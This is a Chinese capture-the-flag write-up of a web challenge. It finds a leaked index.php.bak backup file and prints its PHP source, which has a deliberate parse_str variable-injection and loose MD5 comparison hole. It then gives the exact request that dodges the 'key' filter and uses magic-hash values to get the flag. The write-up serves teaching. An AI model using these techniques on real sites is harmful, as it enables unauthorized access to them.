一,题目--备份是个好习惯
题目提示“备份”两个关键字,但是也没法猜测到底具体是什么。
打开页面一串字符串“d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e”
二,分析
- 1,查看源码,抓包也未发现异常,也未发现有注入的思路。
- 2,根据题目中“备份”的提示,使用SourceLeakHacker进行扫描。
- 3,经扫描,发现两个可用的url
http://120.24.86.145:8002/web16/index.php
http://120.24.86.145:8002/web16/index.php.bak
bak是不是让我们联想到了“备份”
- 4,访问http://120.24.86.145:8002/web16/index.php.bak,得到如下php代码
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."鍙栧緱flag";
}
?>
- 5,分析上面代码
首先,获取完整的url,并且strstr将url中“?”及其之后的内容赋值给str 其次,substr函数将str中第二个字符(下标为1)及其以后的内容赋值给str 再次,str_replace函数将str中的子字符串替换为'',也就是删除str中的内容为key的子串 然后,parse_str() 函数把查询字符串解析到变量中 最后,根据md5(key1) == md5(key2) &&key1 !== $key2可以联想到md5绕过 - 6,根据以上分析,构造请求参数
http://120.24.86.145:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
即可得到flag
三,知识点
- 类似SourceLeakHacker
工具的使用。 因为我们大部分不能根据“备份”二字猜出index.php.bak - strstr,substr,str_replace,parse_str等字符串处理函数
- md5绕过